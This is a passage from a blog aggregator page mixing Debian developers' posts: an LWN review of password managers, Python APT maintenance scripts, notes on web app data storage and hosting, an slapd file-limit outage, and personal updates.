Most users are probably already using a password manager through their web browser's "remember password" functionality. For example, Chromium will ask if you want it to remember passwords and encrypt them with your operating system's facilities. For Windows, this encrypts the passwords with your login password and, for GNOME, it will store the passwords in the gnome-keyring storage. If you synchronize your Chromium settings with your Google account, Chromium will store those passwords on Google's servers, encrypted with a key that is stored in the Google Account itself. So your passwords are then only as safe as your Google account. Note that this was covered here in 2010, although back then Chromium didn't synchronize with the Google cloud or encrypt with the system-level key rings. That facility was only added in 2013.

In Firefox, there's an optional, profile-specific master password that unlocks all passwords. In this case, the issue is that browsers are generally always open, so the vault is always unlocked. And this is for users that actually do pick a master password; users are often completely unaware that they should set one.

The unlocking mechanism is a typical convenience-security trade-off: either users need to constantly input their master passwords to login or they don't, and the passwords are available in the clear. In this case, Chromium's approach of actually asking users to unlock their vault seems preferable, even though the developers actually refused to implement the feature for years.

Overall, I would recommend against using a browser-based password manager. Even if it is not used for critical sites, you will end up with hundreds of such passwords that are vulnerable while the browser is running (in the case of Firefox) or at the whim of Google (in the case of Chromium). Furthermore, the "auto-fill" feature that is often coupled with browser-based password managers is often vulnerable to serious attacks, which is mentioned below.

Finally, because browser-based managers generally lack a proper password generator, users may fail to use properly generated passwords, so they can then be easily broken. A password generator has been requested for Firefox, according to this feature request opened in 2007, and there is a password generator in Chrome, but it is disabled by default and hidden in the mysterious chrome://flags URL.

Other notable password managers

Another alternative password manager, briefly mentioned in the previous article, is the minimalistic Assword password manager that, despite its questionable name, is also interesting. Its main advantage over pass is that it uses a single encrypted JSON file for storage, and therefore doesn't leak the name of the entries by default. In addition to copy/paste, Assword also supports automatically entering passphrases in fields using the xdo library. Like pass, it uses GnuPG to encrypt passphrases. According to Assword maintainer Daniel Kahn Gillmor in email, the main issue with Assword is "interaction between generated passwords and insane password policies". He gave the example of the Time-Warner Cable registration form that requires, among other things, "letters and numbers, between 8 and 16 characters and not repeat the same characters 3 times in a row".

Another well-known password manager is the commercial LastPass service which released a free-software command-line client called lastpass-cli about three years ago. Unfortunately, the server software of the lastpass.com service is still proprietary. And given that LastPass has had at least two serious security breaches since that release, one could legitimately question whether this is a viable solution for storing important secrets.

In general, web-based password managers expose a whole new attack surface that is not present in regular password managers. A 2014 study by University of California researchers showed that, out of five password managers studied, every one of them was vulnerable to at least one of the vulnerabilities studied. LastPass was, in particular, vulnerable to a cross-site request forgery (CSRF) attack that allowed an attacker to bypass account authentication and access the encrypted database.

Problems with password managers

When you share a password database within a team, how do you remove access to a member of the team? While you can, for example, re-encrypt a pass database with new keys (thereby removing or adding certain accesses) or change the password on a KeePass database, a hostile party could have made a backup of the database before the revocation. Indeed, in the case of pass, older entries are still in the Git history. So access revocation is a problematic issue found with all shared password managers, as it may actually mean going through every password and changing them online.

This fundamental problem with shared secrets can be better addressed with a tool like Vault or SFLvault. Those tools aim to provide teams with easy ways to store dynamic tokens like API keys or service passwords and share them not only with other humans, but also make them accessible to machines. The general idea of those projects is to store secrets in a central server and send them directly to relevant services without human intervention. This way, passwords are not actually shared anymore, which is similar in spirit to the approach taken by centralized authentication systems like Kerberos). If you are looking at password management for teams, those projects may be worth a look.

Furthermore, some password managers that support auto-typing were found to be vulnerable to HTML injection attacks: if some third-party ad or content is able to successfully hijack the parent DOM content, it masquerades as a form that could fool auto-typing software as demonstrated by this paper that was submitted at USENIX 2014. Fortunately, KeePass was not vulnerable according to the security researchers, but LastPass was, again, vulnerable.

Future of password managers?

All of the solutions discussed here assume you have a trusted computer you regularly have access to, which is a usage pattern that seems to be disappearing with a majority of the population. You could consider your phone to be that trusted device, yet a phone can be lost or stolen more easily than a traditional workstation or even a laptop. And while KeePass has Android and iOS ports, those do not resolve the question of how to share the password storage among those devices or how to back them up.

Password managers are fundamentally file-based, and the "file" concept seems to be quickly disappearing, faster than we technologists sometimes like to admit. Looking at some relatives' use of computers, I notice it is less about "files" than images, videos, recipes, and various abstract objects that are stored in the "cloud". They do not use local storage so much anymore. In that environment, password managers lose their primary advantage, which is a local, somewhat offline file storage that is not directly accessible to attackers. Therefore certain password managers are specifically designed for the cloud, like LastPass or web browser profile synchronization features, without necessarily addressing the inherent issues with cloud storage and opening up huge privacy and security issues that we absolutely need to address.

This is where the "password hasher" design comes in. Also known as "stateless" or "deterministic" password managers, password hashers are emerging as a convenient solution that could possibly replace traditional password managers as users switch from generic computing platforms to cloud-based infrastructure. We will cover password hashers and the major security challenges they pose in a future article.

Note: this article first appeared in the Linux Weekly News.

15 February, 2017 05:00PM

A look at password managers

As we noted in an earlier article, passwords are a liability and we'd prefer to get rid of them, but the current reality is that we do use a plethora of passwords in our daily lives. This problem is especially acute for technology professionals, particularly system administrators, who have to manage a lot of different machines. But it also affects regular users who still use a large number of passwords, from their online bank to their favorite social-networking site. Despite the remarkable memory capacity of the human brain, humans are actually terrible at recalling even short sets of arbitrary characters with the precision needed for passwords.

Therefore humans reuse passwords, make them trivial or guessable, write them down on little paper notes and stick them on their screens, or just reset them by email every time. Our memory is undeniably failing us and we need help, which is where password managers come in. Password managers allow users to store an arbitrary number of passwords and just remember a single password to unlock them all.

But there is a large variety of password managers out there, so which one should we be using? At my previous job, an inventory was done of about 40 different free-software password managers in different stages of development and of varying quality. So, obviously, this article will not be exhaustive, but instead focus on a smaller set of some well-known options that may be interesting to readers.

KeePass: the popular alternative

The most commonly used password-manager design pattern is to store passwords in a file that is encrypted and password-protected. The most popular free-software password manager of this kind is probably KeePass.

An important feature of KeePass is the ability to auto-type passwords in forms, most notably in web browsers. This feature makes KeePass really easy to use, especially considering it also supports global key bindings to access passwords. KeePass databases are designed for simultaneous access by multiple users, for example, using a shared network drive.

KeePass has a graphical interface written in C#, so it uses the Mono framework on Linux. A separate project, called KeePassX is a clean-room implementation written in C++ using the Qt framework. Both support the AES and Twofish encryption algorithms, although KeePass recently added support for the ChaCha20 cipher. AES key derivation is used to generate the actual encryption key for the database, but the latest release of KeePass also added using Argon2, which was the winner of the July 2015 password-hashing competition. Both programs are more or less equivalent, although the original KeePass seem to have more features in general.

The KeePassX project has recently been forked into another project now called KeePassXC that implements a set of new features that are present in KeePass but missing from KeePassX like:

  • auto-type on Linux, Mac OS, and Windows
  • database merging — which allows multi-user support
  • using the web site's favicon in the interface

So far, the maintainers of KeePassXC seem to be open to re-merging the project "if the original maintainer of KeePassX in the future will be more active and will accept our merge and changes". I can confirm that, at the time of writing, the original KeePassX project now has 79 pending pull requests and only one pull request was merged since the last release, which was 2.0.3 in September 2016.

While KeePass and derivatives allow multiple users to access the same database through the merging process, they do not support multi-party access to a single database. This may be a limiting factor for larger organizations, where you may need, for example, a different password set for different technical support team levels. The solution in this case is to use separate databases for each team, with each team using a different shared secret.

Pass: the standard password manager?

I am currently using password-store, or pass, as a password manager. It aims to be "the standard Unix password manager". Pass is a GnuPG-based password manager that features a surprising number of features given its small size:

  • copy-paste support
  • Git integration
  • multi-user/group support
  • pluggable extensions (in the upcoming 1.7 release)

The command-line interface is simple to use and intuitive. The following, will, for example, create a pass repository, a 20 character password for your LWN account and copy it to the clipboard:

    $ pass init
    $ pass generate -c lwn 20

The main issue with pass is that it doesn't encrypt the name of those entries: if someone were to compromise my machine, they could easily see which sites I have access to simply by listing the passwords stored in ~/.password-store. This is a deliberate design decision by the upstream project, as stated by a mailing list participant, Allan Odgaard:

Using a single file per item has the advantage of shell completion, using version control, browse, move and rename the items in a file browser, edit them in a regular editor (that does GPG, or manually run GPG first), etc.

Odgaard goes on to point out that there are alternatives that do encrypt the entire database (including the site names) if users really need that feature.

Furthermore, there is a tomb plugin for pass that encrypts the password store in a LUKS container (called a "tomb"), although it requires explicitly opening and closing the container, which makes it only marginally better than using full disk encryption system-wide. One could also argue that password file names do not hold secret information, only the site name and username, perhaps, and that doesn't require secrecy. I do believe those should be kept secret, however, as they could be used to discover (or prove) which sites you have access to and then used to perform other attacks. One could draw a parallel with the SSH known_hosts file, which used to be plain text but is now hashed so that hosts are more difficult to discover.

Also, sharing a database for multi-user support will require some sort of file-sharing mechanism. Given the integrated Git support, this will likely involve setting up a private Git repository for your team, something which may not be accessible to the average Linux user. Nothing keeps you, however, from sharing the ~/.password-store directory through another file sharing mechanism like (say) Syncthing or Dropbox.

You can use multiple distinct databases easily using the PASSWORD_STORE_DIR environment variable. For example, you could have a shell alias to use a different repository for your work passwords with:

    alias work-pass="PASSWORD_STORE_DIR=~/work-passwords pass"

Group support comes from a clever use of the GnuPG multiple-recipient encryption support. You simply have to specify multiple OpenPGP identities when initializing the repository, which also works in subdirectories:

    $ pass init -p Ateam me@example.com joelle@example.com
    mkdir: created directory '/home/me/.password-store/Ateam'
    Password store initialized for me@example.com, joelle@example.com
    [master 0e3dbe7] Set GPG id to me@example.com, joelle@example.com.
     1 file changed, 2 insertions(+)
     create mode 100644 Ateam/.gpg-id

The above will configure pass to encrypt the passwords in the Ateam directory for me@example.com and joelle@example.com. Pass depends on GnuPG to do the right thing when encrypting files and how those identities are treated is entirely delegated to GnuPG's default configuration. This could lead to problems if arbitrary keys can be injected into your key ring, which could confuse GnuPG. I would therefore recommend using full key fingerprints instead of user identifiers.

Regarding the actual encryption algorithms used, in my tests, GnuPG 1.4.18 and 2.1.18 seemed to default to 256-bit AES for encryption, but that has not always been the case. The chosen encryption algorithm actually depends on the recipient's key preferences, which may vary wildly: older keys and versions may use anything from 128-bit AES to CAST5 or Triple DES. To figure out which algorithm GnuPG chose, you may want to try this pipeline:

    $ echo test | gpg -e -r you@example.com | gpg -d -v
    [...]
    gpg: encrypted with 2048-bit RSA key, ID XXXXXXX, created XXXXX
      "You Person You <you@example.com>"
    gpg: AES256 encrypted data
    gpg: original file name=''
    test

As you can see, pass is primarily a command-line application, which may make it less accessible to regular users. The community has produced different graphical interfaces that are either using pass directly or operate on the storage with their own GnuPG integration. I personally use pass in combination with Rofi to get quick access to my passwords, but less savvy users may want to try the QtPass interface, which should be more user-friendly. QtPass doesn't actually depend on pass and can use GnuPG directly to interact with the pass database; it is available for Linux, BSD, OS X, and Windows.

Browser password managers

Most users are probably already using a password manager through their web browser's "remember password" functionality. For example, Chromium will ask if you want it to remember passwords and encrypt them with your operating system's facilities. For Windows, this encrypts the passwords with your login password and, for GNOME, it will store the passwords in the gnome-keyring storage. If you synchronize your Chromium settings with your Google account, Chromium will store those passwords on Google's servers, encrypted with a key that is stored in the Google Account itself. So your passwords are then only as safe as your Google account. Note that this was covered here in 2010, although back then Chromium didn't synchronize with the Google cloud or encrypt with the system-level key rings. That facility was only added in 2013.

In Firefox, there's an optional, profile-specific master password that unlocks all passwords. In this case, the issue is that browsers are generally always open, so the vault is always unlocked. And this is for users that actually do pick a master password; users are often completely unaware that they should set one.

The unlocking mechanism is a typical convenience-security trade-off: either users need to constantly input their master passwords to login or they don't, and the passwords are available in the clear. In this case, Chromium's approach of actually asking users to unlock their vault seems preferable, even though the developers actually refused to implement the feature for years.

Overall, I would recommend against using a browser-based password manager. Even if it is not used for critical sites, you will end up with hundreds of such passwords that are vulnerable while the browser is running (in the case of Firefox) or at the whim of Google (in the case of Chromium). Furthermore, the "auto-fill" feature that is often coupled with browser-based password managers is often vulnerable to serious attacks, which is mentioned below.

Finally, because browser-based managers generally lack a proper password generator, users may fail to use properly generated passwords, so they can then be easily broken. A password generator has been requested for Firefox, according to this feature request opened in 2007, and there is a password generator in Chrome, but it is disabled by default and hidden in the mysterious chrome://flags URL.

Other notable password managers

Another alternative password manager, briefly mentioned in the previous article, is the minimalistic Assword password manager that, despite its questionable name, is also interesting. Its main advantage over pass is that it uses a single encrypted JSON file for storage, and therefore doesn't leak the name of the entries by default. In addition to copy/paste, Assword also supports automatically entering passphrases in fields using the xdo library. Like pass, it uses GnuPG to encrypt passphrases. According to Assword maintainer Daniel Kahn Gillmor in email, the main issue with Assword is "interaction between generated passwords and insane password policies". He gave the example of the Time-Warner Cable registration form that requires, among other things, "letters and numbers, between 8 and 16 characters and not repeat the same characters 3 times in a row".

Another well-known password manager is the commercial LastPass service which released a free-software command-line client called lastpass-cli about three years ago. Unfortunately, the server software of the lastpass.com service is still proprietary. And given that LastPass has had at least two serious security breaches since that release, one could legitimately question whether this is a viable solution for storing important secrets.

In general, web-based password managers expose a whole new attack surface that is not present in regular password managers. A 2014 study by University of California researchers showed that, out of five password managers studied, every one of them was vulnerable to at least one of the vulnerabilities studied. LastPass was, in particular, vulnerable to a cross-site request forgery (CSRF) attack that allowed an attacker to bypass account authentication and access the encrypted database.

Problems with password managers

When you share a password database within a team, how do you remove access to a member of the team? While you can, for example, re-encrypt a pass database with new keys (thereby removing or adding certain accesses) or change the password on a KeePass database, a hostile party could have made a backup of the database before the revocation. Indeed, in the case of pass, older entries are still in the Git history. So access revocation is a problematic issue found with all shared password managers, as it may actually mean going through every password and changing them online.

This fundamental problem with shared secrets can be better addressed with a tool like Vault or SFLvault. Those tools aim to provide teams with easy ways to store dynamic tokens like API keys or service passwords and share them not only with other humans, but also make them accessible to machines. The general idea of those projects is to store secrets in a central server and send them directly to relevant services without human intervention. This way, passwords are not actually shared anymore, which is similar in spirit to the approach taken by centralized authentication systems like Kerberos. If you are looking at password management for teams, those projects may be worth a look.

Furthermore, some password managers that support auto-typing were found to be vulnerable to HTML injection attacks: if some third-party ad or content is able to successfully hijack the parent DOM content, it masquerades as a form that could fool auto-typing software as demonstrated by this paper that was submitted at USENIX 2014. Fortunately, KeePass was not vulnerable according to the security researchers, but LastPass was, again, vulnerable.

Future of password managers?

All of the solutions discussed here assume you have a trusted computer you regularly have access to, which is a usage pattern that seems to be disappearing with a majority of the population. You could consider your phone to be that trusted device, yet a phone can be lost or stolen more easily than a traditional workstation or even a laptop. And while KeePass has Android and iOS ports, those do not resolve the question of how to share the password storage among those devices or how to back them up.

Password managers are fundamentally file-based, and the "file" concept seems to be quickly disappearing, faster than we technologists sometimes like to admit. Looking at some relatives' use of computers, I notice it is less about "files" than images, videos, recipes, and various abstract objects that are stored in the "cloud". They do not use local storage so much anymore. In that environment, password managers lose their primary advantage, which is a local, somewhat offline file storage that is not directly accessible to attackers. Therefore certain password managers are specifically designed for the cloud, like LastPass or web browser profile synchronization features, without necessarily addressing the inherent issues with cloud storage and opening up huge privacy and security issues that we absolutely need to address.

This is where the "password hasher" design comes in. Also known as "stateless" or "deterministic" password managers, password hashers are emerging as a convenient solution that could possibly replace traditional password managers as users switch from generic computing platforms to cloud-based infrastructure. We will cover password hashers and the major security challenges they pose in a future article.

Note: this article first appeared in the Linux Weekly News.

15 February, 2017 05:00PM

hackergotchi for Holger Levsen

Holger Levsen

Debian has installer images with non-free firmware included

Even though they are impossible to find without using a search engine or bookmarks, they exist.

Bookmark them now. Or use a search engine later ;-)

15 February, 2017 10:05AM

Jamie McClelland

Re-thinking Web App Security

An organizer friend interested in activating a rapid response network to counter Trump-era ICE raids on immigrants asked me about any existing simple and easy tools that could send out emergency SMS/text message alerts.

I thought about it and ended up writing my first pouchdb web application to accomplish the task. For the curious, you can see it in action and browse the source code. To use it to send SMS, you have to register for a Twilio account - you can get a free account that has very restricted SMS sending capability or pay for full functionality.

The project is unlike anything I have done before.

I chose pouchdb because it stores all of your contacts in your browser not on a server somewhere in the so-called cloud. (You can also choose to sync to a server, a feature I have not yet implemented.)

The implications of storing your data locally are quite profound.

Classic Web App

Let's first consider the more common web application: You visit a web site (the same web site that your colleagues visit, or in the case of a massive application like gmail.com, the same web site that everyone in the world visits). Then, you login with your own unique username and password, which grants you access to the portion the database that you are suppose to have access to.

For most use-cases, this model is fairly ideal:

  • If you have a technically competent host, your data is backed up regularly and the database is available nearly 100% of the time
  • If you have a politically trust-worthy host, your host will notify you and put up a fight before turning any of your data over to a government agent
  • If you drop your phone in the toilet you can always login from another computer to access your data
  • If you save your password in your browser and your laptop is stolen, you can always change your password to prevent the thief from accessing your data
  • You can easily share your data with others by creating new usernames and passwords

However, there are some downsides:

  • If your host is not technically competent or polically trust-worthy, you could lose all of your data to a hard drive crash or subpoena
  • Even if your host is competent, all of your data is one previously undiscovered vulnerability away from being hacked
  • Even if your host is politically trust-worthy, you cannot always stop a subpoena, particularly given the legal escalations of tools like national security letters

pouchdb no sync

Assuming you are accessing your database on a device with an encrypted disk and you manage your own backups, pouchdb without synchoronizing provides the most privacy and autonomy. You have complete control of your data and you are not dependent on any server operator.

However, the trade-offs are harsh:

  • Availability: if you lose your device, you would need to restore from backup - which is much more difficult than simply logging in from another device
  • Collaboration: you simply can't share this data with anyone else

It seems this model is fairly useless except in very tight corner cases.

pouchdb that synchronizes to a server

With this model, you avoid the trade-offs of the no sync model (hooray!). However, you also lose all of the privacy benefits, and it's even worse: your data can be compromised either via a server breach or via a compromise of any of the devices you are using. If any of these devices lack encrypted disks, then it's borderline reckless.

On the other hand, you gain a huge benefit in terms of reliability. If the server goes down, loses your data, fails to backup or is taken offline by a legal order, you can still function perfectly well and can optionally choose to sync to a different host.

Conclusions

Ultimately, we need to better evaluate the trade-offs between privacy and availability for each given use of a database and try to make the best decision.

And... keep working on new models. For example, it seems an ideal middle ground would be to sync in a peer-to-peer fashion with our colleagues (see PeerPouch) or sync to a server under your control in your office.

15 February, 2017 02:21AM

hackergotchi for Clint Adams

Clint Adams

Tom's birthday happens every year

“Sure,” she said, while having a drink for breakfast at the post office.

Posted on 2017-02-15
Tags: mintings

15 February, 2017 12:57AM

Daniel Stender

APT programming snippets for Debian system maintenance

The Python API for the Debian package manager APT is useful for writing practical system maintenance scripts, which are going beyond shell scripting capabilities. There are Python2 and Python3 libraries for that available as packages, as well as a documentation in the package python-apt-doc. If that’s also installed, the documentation then could be found in /usr/share/doc/python-apt-doc/html/index.html, and there are also a couple of example scripts shipped into /usr/share/doc/python-apt-doc/examples. The libraries mainly consists of Python bindings for the libapt-inst and libapt-pkg C++ core libraries of the APT package manager, which makes it processing very fast. Debugging symbols are also available as packages (python{,3}-apt-dbg). The module apt_inst provides features like reading from binary packages, while apt_pkg resembles the functions of the package manager. There is also the apt abstraction layer which provides more convenient access to the library, like apt.cache.Cache() could be used to behave like apt-get:

from apt.cache import Cache
mycache = Cache()
mycache.update()                   # apt-get update
mycache.open()                     # re-open
mycache.upgrade(dist_upgrade=True) # apt-get dist-upgrade
mycache.commit()                   # apply

boil out selections

As widely known, there is a feature of dpkg which helps to move a package inventory from one installation to another by just using a text file with a list of installed packages. A selections list containing all installed package could be easily generated with $ dpkg --get-selections > selections.txt. The resulting file then looks something similar like this:

$ cat selections.txt
0ad                                 install
0ad-data                            install
0ad-data-common                     install
a2ps                                install
abi-compliance-checker              install
abi-dumper                          install
abigail-tools                       install
accountsservice                     install
acl                                 install
acpi                                install

The counterpart for this operation (--set-selections) could be used to reinstall (add) the complete package inventory on another installation resp. computer (that needs superuser rights), like that’s explained in the manpage dpkg(1). No problem so far.

The problem is, if that list contains a package which couldn’t be found in any of the package inventories which are set up in /etc/apt/sources.list(.d/) on the target system, dpkg stops the whole process:

# dpkg --set-selections < selections.txt
dpkg: warning: package not in database at line 524: google-chrome-beta
dpkg: warning: found unknown packages; this might mean the available database
is outdated, and needs to be updated through a frontend method

Thus, manually downloaded and installed “wild” packages from unofficial package sources are problematic for this approach, because the package installer simply doesn’t know where to get them.

Luckily, dpkg puts out the relevant package names, but instead of having them removed manually with an editor this little Python script for python3-apt automatically deletes any of these packages from a selections file:

#!/usr/bin/env python3
import sys
import apt_pkg

apt_pkg.init()
cache = apt_pkg.Cache()

infile = open(sys.argv[1])
outfile_name = sys.argv[1] + '.boiled'
outfile = open(outfile_name, "w")

for line in infile:
    package = line.split()[0]
    if package in cache:
        outfile.write(line)

infile.close()
outfile.close()
sys.exit(0)

The script takes one argument which is the name of the selections file which has been generated by dpkg. The low level module apt_pkg first has to been initialized with apt_pkg.init(). Then apt_pkg.Cache() can be used to instantiate a cache object (here: cache). That object is iterable, thus it’s easy to not perform something if a package from that list couldn’t be found in the database, like not copying the corresponding line into the outfile (.boiled), while the others are copied.

The result then looks something like this:

$ diff selections.txt selections.txt.boiled 
3780d3779
< python-timemachine   install
4438d4436
< wlan-supercracker    install

That script might be useful also for moving from one distribution resp. derivative to another (like from Ubuntu to Debian). For productive use, open() should be of course secured against FileNotFound and IOError-s to prevent program crashs on such events.

purge rc-s

Like also widely known, deinstalled packages leave stuff like configuration files, maintainer scripts and logs on the computer, to save that if the package gets reinstalled at some point in the future. That happens if dpkg has been used with -r/--remove instead of -P/--purge, which also removes these files which are left otherwise.

These packages are then marked as rc in the package archive, like:

$ dpkg -l | grep ^rc
rc  firebird2.5-common          2.5.6.27020.ds4-3   amd64   common files for firebird 2.5 servers and clients
rc  firebird2.5-server-common   2.5.6.27020.ds4-3   amd64   common files for firebird 2.5 servers
rc  firebird3.0-common          3.0.1.32609.ds4-8   all     common files for firebird 3.0 server, client and utilities
rc  imagemagick-common          8:6.9.6.2+dfsg-2    all     image manipulation programs -- infrastructure dummy package

It could be purged over them afterwards to completely remove them from the system. There are several shell coding snippets to be found on the net for completing this job automatically, like this one here:

dpkg -l | grep "^rc" | sed ­e "s/^rc //" ­e "s/ .*$//" | \
xargs dpkg ­­purge

The first thing which is needed to handle this by a Python script is the information that in apt_pkg, the package state rc per default is represented by the code 5:

>>> testpackage = cache['firebird2.5-common']
>>> testpackage.current_state
5

For changing things in the database apt_pkg.DepCache() could be docked onto an cache object to manipulate the installation state of a package within, like marking it to be removed resp. purged:

>>> mydepcache = apt_pkg.DepCache(mycache)
>>> mydepcache.mark_delete(testpackage, True) # True = purge
>>> mydepcache.marked_delete(testpackage)
True

That’s basically all which is needed for an old package purging maintenance script in Python 3, another iterator as package filter and there you go:

#!/usr/bin/env python3
import sys
import apt_pkg

from apt.progress.text import AcquireProgress
from apt.progress.base import InstallProgress
acquire = AcquireProgress()
install = InstallProgress()

apt_pkg.init()
cache = apt_pkg.Cache()
depcache = apt_pkg.DepCache(cache)

for paket in cache.packages:
    if paket.current_state == 5:
        depcache.mark_delete(paket, True)

depcache.commit(acquire, install)

The method DepCache.commit() applies the changes to the package archive at the end, and it needs apt_progress to perform.

Of course this script needs superuser rights to run. It then returns something like this:

$ sudo ./rc-purge 
Reading package lists... Done
Building dependency tree
Reading state information... Done
Fetched 0 B in 0s (0 B/s)
custom fork found
got pid: 17984
got pid: 0
got fd: 4
(Reading database ... 701434 files and directories currently installed.)
Purging configuration files for libmimic0:amd64 (1.0.4-2.3) ...
Purging configuration files for libadns1 (1.5.0~rc1-1) ...
Purging configuration files for libreoffice-sdbc-firebird (1:5.2.2~rc2-2) ...
Purging configuration files for vlc-nox (2.2.4-7) ...
Purging configuration files for librlog5v5 (1.4-4) ...
Purging configuration files for firebird3.0-common (3.0.1.32609.ds4-8) ...
Purging configuration files for imagemagick-common (8:6.9.6.2+dfsg-2) ...
Purging configuration files for firebird2.5-server-common (2.5.6.27020.ds4-3)

It’s not yet production ready (like there’s an infinite loop if dpkg returns error code 1 like from “can’t remove non empty folder”). But generally, ATTENTION: be very careful with typos and other mistakes if you want to use that code snippet, a false script performing changes on the package database might destroy the integrity of your system, and you don’t want that to happen.

detect “wild” packages

Like said above, installed Debian packages might be called “wild” if they have been downloaded from somewhere on the net and installed manually, like that is done from time to time on many systems. If you want to remove that whole class of packages again for any reason, the question would be how to detect them. A characteristic element is that there is no source connected to such a package, and that could be detected by Python scripting using again the bindings for the APT libraries.

The package object doesn’t have an associated method to query its source, because the origin is always connected to a specific package version, like some specific version might have come from security updates for example. The current version of a package can be queried with DepCache.get_candidate_ver() which returns a complex apt_pkg.Version object:

>>> import apt_pkg
>>> apt_pkg.init()
>>> mycache = apt_pkg.Cache()
Reading package lists... Done
Building dependency tree
Reading state information... Done
>>> mydepcache = apt_pkg.DepCache(mycache)
>>> testpackage = mydepcache.get_candidate_ver(mycache['nano'])
>>> testpackage
<apt_pkg.Version object: Pkg:'nano' Ver:'2.7.4-1' Section:'editors'  Arch:'amd64' Size:484790 ISize:2092032 Hash:33578 ID:31706 Priority:2>

For version objects there is the method file_list available, which returns a list containing PackageFile() objects:

>>> testpackage.file_list
[(<apt_pkg.PackageFile object: filename:'/var/lib/apt/lists/httpredir.debian.org_debian_dists_testing_main_binary-amd64_Packages'  a=testing,c=main,v=,o=Debian,l=Debian arch='amd64' site='httpredir.debian.org' IndexType='Debian Package Index' Size=38943764 ID:0>, 669901L)]

These file objects contain the index files which are associated with a specific package source (a downloaded package index), which could be read out easily (using a for-loop because there could be multiple file objects):

>>> for files in testpackage.file_list:
...     print(files[0].filename)
/var/lib/apt/lists/httpredir.debian.org_debian_dists_testing_main_binary-amd64_Packages

That explains itself: the nano binary package on this amd64 computer comes from httpredir.debian.org/debian testing main. If a package is “wild” that means it was installed manually, so there is no associated index file to be found, but only /var/lib/dpkg/status (libcudnn5 is not in the official package archives but distributed by Nvidia as a .deb package):

>>> testpackage2 = mydepcache.get_candidate_ver(mycache['libcudnn5'])
>>> for files in testpackage2.file_list:
...     print(files[0].filename)
/var/lib/dpkg/status

The simple trick now is to find all packages which have only /var/lib/dpkg/status as associated system file (that doesn’t refer to what packages contain), an not an index file representing a package source. There’s a little pitfall: that’s truth also for virtual packages. But virtual packages commonly don’t have an associated version (python-apt docs: “to check whether a package is virtual; that is, it has no versions and is provided at least once”), and that can be queried by Package.has_versions. A filter to find out any packages that aren’t virtual packages, are solely associated to one system file, and that file is /var/lib/dpkg/status, then goes like this:

for package in cache.packages:
    if package.has_versions:
        version = mydepcache.get_candidate_ver(package)
        if len(version.file_list) == 1:
            if 'dpkg/status' in version.file_list[0][0].filename:
                print(package.name)

On my Debian testing system this puts out a quite interesting list. It lists all the wild packages like libcudnn5, but also packages which are recently not in testing because they have been temporarily removed by AUTORM due to release critical bugs. Then there’s all the obsolete stuff which have been installed from the package archives once and then being forgotten like old kernel header packages (“obsolete packages” in dselect). So this snippet brings up other stuff, too. Thus, this might be more experimental stuff so far, though.

15 February, 2017 12:00AM

February 14, 2017

Julian Andres Klode

jak-linux.org moved / backing up

In the past two days, I moved my main web site jak-linux.org (and jak-software.de) from a very old contract at STRATO over to something else: The domains are registered with INWX and the hosting is handled by uberspace.de. Encryption is provided by Let’s Encrypt.

I requested the domain transfer from STRATO on Monday at 16:23, received the auth codes at 20:10 and the .de domain was transferred completely on 20:36 (about 20 minutes if you count my overhead). The .org domain I had to ACK, which I did at 20:46 and at 03:00 I received the notification that the transfer was successful (I think there was some registrar ACKing involved there). So the whole transfer took about 10 1/2 hours, or 7 hours since I retrieved the auth code. I think that’s quite a good time 🙂

And, for those of you who don’t know: uberspace is a shared hoster that basically just gives you an SSH shell account, directories for you to drop files in for the http server, and various tools to add subdomains, certificates, virtual users to the mailserver. You can also run your own custom build software and open ports in their firewall. That’s quite cool.

I’m considering migrating the blog away from wordpress at some point in the future – having a more integrated experience is a bit nicer than having my web presence split over two sites. I’m unsure if I shouldn’t add something like cloudflare there – I don’t want to overload the servers (but I only serve static pages, so how much load is this really going to get?).

in other news: off-site backups

I also recently started doing offsite backups via borg to a server operated by the wonderful rsync.net. For those of you who do not know rsync.net: You basically get SSH to a server where you can upload your backups via common tools like rsync, scp, or you can go crazy and use git-annex, borg, attic; or you could even just plain zfs send your stuff there.

The normal price is $0.08 per GB per month, but there is a special borg price of $0.03 (that price does not include snapshotting or support, really). You can also get a discounted normal account for $0.04 if you find the correct code on Hacker News, or other discounts for open source developers, students, etc. – you just have to send them an email.

Finally, I must say that uberspace and rsync.net feel similar in spirit. Both heavily emphasise the command line, and don’t really have any fancy click stuff. I like that.


Filed under: General

14 February, 2017 11:52PM by Julian Andres Klode

hackergotchi for Steve McIntyre

Steve McIntyre

Start the fans please!

This probably won't mean much to people outside the UK, I'm guessing. Sorry! :-)

The Crystal Maze was an awesome fun game show on TV in the UK in the 1990s. Teams would travel through differently-themed zones, taking on challenges to earn crystals for later rewards in the Crystal Dome. I really enojyed it, as did just about everybody my age that I know of...

A group have started up a new Crystal Maze attraction in London and Manchester, giving some of us a chance of indulging our nostalgia directly in a replica of the show's setup! Neil NcGovern booked a load of tickets and arranged for a large group of people to go along this weekend.

It was amazing! (Sorry!) I ended up captaining one of the 4 teams, and our team ("Failure is always an option!") scored highest in the final game - catching bits of gold foil flying around in the Dome. It was really, really fun and I'd heartily recommend it to other folks who like action games and puzzle solving.

I just missed the biting scorn of the original show presenter, Richard O'Brien, but our "Maze Master" Boudica was great fun and got us all pumped up and working together.

14 February, 2017 11:32PM

Sven Hoexter

moto g falcon up and running with LineageOS 14.1 nightly

After a few weeks of running Exodus on my moto g falcon, I've now done again the full wipe and moved on to LineageOS nightly from 20170213. Though that build is no longer online at the moment. It's running smooth so far for myself but there was an issue with the Google Play edition of the phone according to Reddit. Since I don't use gapps anyway I don't care.

The only issue I see so far is that I can not reach the flash menu in the camera app. It's hidden behind a grey bar. Not nice but not a show stopper for me either.

14 February, 2017 09:23AM

Arturo Borrero González

About process limits

Graphs

The other day I had to deal with an outage in one of our LDAP servers, which is running the old Debian Wheezy (yeah, I know, we should update it).

We are running openldap, the slapd daemon. And after searching the log files, the cause of the outage was obvious:

[...]
slapd[7408]: warning: cannot open /etc/hosts.allow: Too many open files
slapd[7408]: warning: cannot open /etc/hosts.deny: Too many open files
slapd[7408]: warning: cannot open /etc/hosts.allow: Too many open files
slapd[7408]: warning: cannot open /etc/hosts.deny: Too many open files
slapd[7408]: warning: cannot open /etc/hosts.allow: Too many open files
slapd[7408]: warning: cannot open /etc/hosts.deny: Too many open files
[...]

[Please read “About process limits, round 2” for updated info on this issue]

I couldn’t believe that openldap is using tcp_wrappers (or libwrap), an ancient software piece that hasn’t been updated for years, replaced in many other ways by more powerful tools (like nftables). I was blinded by this and ran to open a Debian bug agains openldap: #854436 (openldap: please don’t use tcp-wrappers with slapd).

The reply from Steve Langasek was clear:

If people are hitting open file limits trying to open two extra files,
